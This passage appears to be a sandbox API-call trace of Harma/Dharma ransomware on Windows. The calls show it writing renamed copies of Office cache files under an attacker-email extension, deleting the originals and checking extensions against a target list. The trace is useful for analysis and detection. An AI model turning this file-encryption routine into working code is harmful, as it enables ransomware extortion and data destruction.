[0040.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.910] GetLastError () returned 0x0 [0040.910] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x2488, lpOverlapped=0x0) returned 1 [0041.062] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0041.063] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.064] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.064] SetEndOfFile (hFile=0x19c) returned 1 [0041.064] CloseHandle (hObject=0x19c) returned 1 [0041.065] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.065] SetEndOfFile (hFile=0x198) returned 1 [0041.066] CloseHandle (hObject=0x198) returned 1 [0041.066] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.066] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0041.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.066] lstrlenW (lpString=".doc") returned 4 [0041.066] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.066] lstrlenW (lpString=".docx") returned 5 [0041.066] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.066] lstrlenW (lpString=".pdf") returned 4 [0041.066] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.066] lstrlenW (lpString=".xls") returned 4 [0041.066] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.067] lstrlenW (lpString=".xlsx") returned 5 [0041.067] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.067] lstrlenW (lpString=".ppt") returned 4 [0041.067] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.067] lstrlenW (lpString=".zip") returned 4 [0041.067] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.067] lstrlenW (lpString=".rar") returned 4 [0041.067] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.067] lstrlenW (lpString=".bz2") returned 4 [0041.067] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.067] lstrlenW (lpString=".7z") returned 3 [0041.067] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.067] lstrlenW (lpString=".dbf") returned 4 [0041.067] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.067] lstrlenW (lpString=".1cd") returned 4 [0041.067] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.067] lstrlenW (lpString=".jpg") returned 4 [0041.067] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.067] lstrlenW (lpString=".doc") returned 4 [0041.067] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.067] lstrlenW (lpString=".docx") returned 5 [0041.067] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0041.067] lstrlenW (lpString=".pdf") returned 4 [0041.067] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.067] lstrlenW (lpString=".xls") returned 4 [0041.067] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.068] lstrlenW (lpString=".xlsx") returned 5 [0041.068] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0041.068] lstrlenW (lpString=".ppt") returned 4 [0041.068] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.068] lstrlenW (lpString=".zip") returned 4 [0041.068] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.068] lstrlenW (lpString=".rar") returned 4 [0041.068] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.068] lstrlenW (lpString=".bz2") returned 4 [0041.068] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.068] lstrlenW (lpString=".7z") returned 3 [0041.068] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.068] lstrlenW (lpString=".dbf") returned 4 [0041.068] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.068] lstrlenW (lpString=".1cd") returned 4 [0041.068] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0041.068] lstrlenW (lpString=".jpg") returned 4 [0041.068] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.068] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.068] lstrlenW (lpString="branding.xml") returned 12 [0041.068] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0041.094] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=596341) returned 1 [0041.095] CloseHandle (hObject=0x198) returned 1 [0041.095] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0041.095] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.095] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0041.095] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.095] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.095] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.096] GetLastError () returned 0x0 [0041.096] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x91975, lpOverlapped=0x0) returned 1 [0041.111] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0041.124] ReadFile (in: hFile=0x198, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.124] WriteFile (in: hFile=0x19c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.124] SetEndOfFile (hFile=0x19c) returned 1 [0041.124] CloseHandle (hObject=0x19c) returned 1 [0041.488] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.488] SetEndOfFile (hFile=0x198) returned 1 [0041.495] CloseHandle (hObject=0x198) returned 1 [0041.495] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.496] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0041.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.496] lstrlenW (lpString=".doc") returned 4 [0041.496] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.496] lstrlenW (lpString=".docx") returned 5 [0041.496] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0041.496] lstrlenW (lpString=".pdf") returned 4 [0041.496] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.496] lstrlenW (lpString=".xls") returned 4 [0041.496] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.496] lstrlenW (lpString=".xlsx") returned 5 [0041.496] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0041.496] lstrlenW (lpString=".ppt") returned 4 [0041.497] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.497] lstrlenW (lpString=".zip") returned 4 [0041.497] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.497] lstrlenW (lpString=".rar") returned 4 [0041.497] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.497] lstrlenW (lpString=".bz2") returned 4 [0041.497] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.497] lstrlenW (lpString=".7z") returned 3 [0041.497] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.497] lstrlenW (lpString=".dbf") returned 4 [0041.497] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.497] lstrlenW (lpString=".1cd") returned 4 [0041.497] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.497] lstrlenW (lpString=".jpg") returned 4 [0041.497] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.497] lstrlenW (lpString=".doc") returned 4 [0041.497] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.497] lstrlenW (lpString=".docx") returned 5 [0041.498] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0041.498] lstrlenW (lpString=".pdf") returned 4 [0041.498] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.498] lstrlenW (lpString=".xls") returned 4 [0041.498] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.498] lstrlenW (lpString=".xlsx") returned 5 [0041.498] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0041.498] lstrlenW (lpString=".ppt") returned 4 [0041.498] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.498] lstrlenW (lpString=".zip") returned 4 [0041.498] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.498] lstrlenW (lpString=".rar") returned 4 [0041.498] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.498] lstrlenW (lpString=".bz2") returned 4 [0041.498] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.498] lstrlenW (lpString=".7z") returned 3 [0041.498] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.498] lstrlenW (lpString=".dbf") returned 4 [0041.498] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.498] lstrlenW (lpString=".1cd") returned 4 [0041.498] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.498] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.498] lstrlenW (lpString=".jpg") returned 4 [0041.498] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.176] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0042.176] lstrlenW (lpString="Office32WW.xml") returned 14 [0042.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0043.944] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=4274) returned 1 [0043.944] CloseHandle (hObject=0x1b0) returned 1 [0043.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0043.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0043.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0043.944] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.944] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0043.945] GetLastError () returned 0x0 [0043.945] ReadFile (in: hFile=0x1b0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0043.946] WriteFile (in: hFile=0x1a0, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0043.947] ReadFile (in: hFile=0x1b0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.948] WriteFile (in: hFile=0x1a0, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0043.948] SetEndOfFile (hFile=0x1a0) returned 1 [0043.948] CloseHandle (hObject=0x1a0) returned 1 [0043.949] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.949] SetEndOfFile (hFile=0x1b0) returned 1 [0043.950] CloseHandle (hObject=0x1b0) returned 1 [0043.950] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0043.950] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0043.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.950] lstrlenW (lpString=".doc") returned 4 [0043.950] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.950] lstrlenW (lpString=".docx") returned 5 [0043.950] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0043.950] lstrlenW (lpString=".pdf") returned 4 [0043.950] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.950] lstrlenW (lpString=".xls") returned 4 [0043.950] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.950] lstrlenW (lpString=".xlsx") returned 5 [0043.950] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0043.950] lstrlenW (lpString=".ppt") returned 4 [0043.951] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.951] lstrlenW (lpString=".zip") returned 4 [0043.951] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.951] lstrlenW (lpString=".rar") returned 4 [0043.951] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.951] lstrlenW (lpString=".bz2") returned 4 [0043.951] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.951] lstrlenW (lpString=".7z") returned 3 [0043.951] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.951] lstrlenW (lpString=".dbf") returned 4 [0043.951] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.951] lstrlenW (lpString=".1cd") returned 4 [0043.951] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.951] lstrlenW (lpString=".jpg") returned 4 [0043.951] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.951] lstrlenW (lpString=".doc") returned 4 [0043.951] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.951] lstrlenW (lpString=".docx") returned 5 [0043.951] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0043.951] lstrlenW (lpString=".pdf") returned 4 [0043.951] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.951] lstrlenW (lpString=".xls") returned 4 [0043.951] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.951] lstrlenW (lpString=".xlsx") returned 5 [0043.951] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0043.952] lstrlenW (lpString=".ppt") returned 4 [0043.952] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.952] lstrlenW (lpString=".zip") returned 4 [0043.952] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.952] lstrlenW (lpString=".rar") returned 4 [0043.952] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.952] lstrlenW (lpString=".bz2") returned 4 [0043.952] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.952] lstrlenW (lpString=".7z") returned 3 [0043.952] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.952] lstrlenW (lpString=".dbf") returned 4 [0043.952] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.952] lstrlenW (lpString=".1cd") returned 4 [0043.952] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0043.952] lstrlenW (lpString=".jpg") returned 4 [0043.952] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.952] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0043.952] lstrlenW (lpString="boxed-delete.avi") returned 16 [0043.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.539] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=31744) returned 1 [0044.539] CloseHandle (hObject=0x1b0) returned 1 [0044.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0044.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0044.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 